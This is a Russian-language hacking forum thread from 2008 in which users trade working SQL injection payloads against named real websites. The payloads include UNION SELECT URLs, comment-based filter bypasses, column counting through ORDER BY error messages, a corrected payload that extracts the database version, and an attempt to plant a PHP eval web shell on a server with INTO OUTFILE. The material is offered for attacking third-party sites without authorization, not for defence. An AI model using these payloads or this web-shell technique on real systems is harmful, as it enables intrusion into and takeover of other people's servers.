 |
|
21.07.2008, 00:39
|
|
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
С нами:
9483229
Репутация:
1160
|
|
Сообщение от Zircool
Никак не получается раскрутить инъекцию
как только пытаюсь раскрутить пишет
Какими запросами крутишь?
пишешь так:
Код:
http://storm.ikit.kg/stats/stats.php?game=D2XP&type=SC&sortBy=rank&sort_direction=1+union+select+1
Он ругается
а так:
Код:
http://storm.ikit.kg/stats/stats.php?game=D2XP&type=SC&sortBy=rank&sort_direction=1+union/**/select+1
уже нет,значит скрипт плюется от union +select...делай выводы
ЗЫ:Я сам пока толком не крутил и не понял
Последний раз редактировалось DDoSька; 21.07.2008 в 00:45..
|
|
|
21.07.2008, 01:50
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
С нами:
10628635
Репутация:
78
|
|
Все равно вывести ничего не получается((((
|
|
|
|
21.07.2008, 02:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
http://storm.ikit.kg/stats/stats.php?game=D2XP&type=SC&sortBy=1+union/**/select+1/*
но т.к. стоит ORDER BY то union после него уже не работает.....
Error: Incorrect usage of UNION and ORDER BY
обойти можно токо заключив все селекты в скобки... и использовав UNION ALL. но сдесь это зделать нельзя.. так что ищи еще скули перед ордером.)
Последний раз редактировалось sabe; 21.07.2008 в 03:17..
|
|
|
|
21.07.2008, 02:14
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами:
10313606
Репутация:
1327
|
|
Сообщение от Grey
А помоему зря - версия БД начинается, всё равно, с цифр (другого я не видел, по крайней мере если БД - мускул), поэтому что бы узнать первую цифру версии использовать ascii() не обязательно.
А вот для вывода не цифровых данных использовать ascii() в общем случае нужно.
Не обязательно я не спорю, но я дал пример с использованием функции ascii(), и запрос тем самым не испортил, просто сравниваю код символа, а не символ.
ps думаю ты меня понял...
|
|
|
|
21.07.2008, 02:45
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами:
10313606
Репутация:
1327
|
|
Сообщение от sabe
но т.к. стоит ORDER BY то union после него уже не работает.....
обойти можно токо заключив все селекты в скобки... и использовав UNION ALL. но сдесь это зделать нельзя.. так что ищи еще скули перед ордером.)
Нужно обратить внимание на саму ошибку
Query: SELECT * FROM d2ladder WHERE game = 'D2XP' and type='SC' ORDER BY 10/* DESC LIMIT 0,50
Error: Unknown column '10' in 'order clause'
в переменную sortBy мы передаем значение которое подставляется в конструкцию ORDER BY. Из этого можно сделать вывод, что в таблице d2ladder 9 колонок.
А вообще иньекция интересная, есть над чем подумать...
|
|
|
|
21.07.2008, 03:14
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
_Pantera_
ок 9 колонок ) только как ты запрос устроишь ? )
Последний раз редактировалось sabe; 21.07.2008 в 03:17..
|
|
|
|
21.07.2008, 13:07
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
Народ,а при залитии шелла через скулю можно как-то обойти ругательство на кавычки ? =______________=.
Вот: http://site.com/news.php?id=-17+union+select+1,'<?php%20eval($_GET[‘e’]);?>',3+into+outfile+'/usr/local/www/data/partners.php'--
Выдаёт: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /usr/local/www/data/news.php on line 35
Ужс какой-то...
|
|
|
|
21.07.2008, 13:34
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами:
10188506
Репутация:
861
|
|
Велемир, нельзя  |
|
|
|
21.07.2008, 19:35
|
|
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
С нами:
9384053
Репутация:
303
|
|
День добрый. Подскажите пожалуйста, как корректно оформить запрос к этому ресурсу:
http://www.clubiki.ru/index.php?page=item&id=24696)+union+select+(1
Заранее спсибо.
|
|
|
|
21.07.2008, 19:42
|
|
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами:
10240166
Репутация:
2097
|
|
http://www.clubiki.ru/index.php?page=item&id=-24696)%20union%20select%201,2,version(),4,5,6/*
__________________
Не занимаюсь коммерцией в любых ее проявлениях.
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
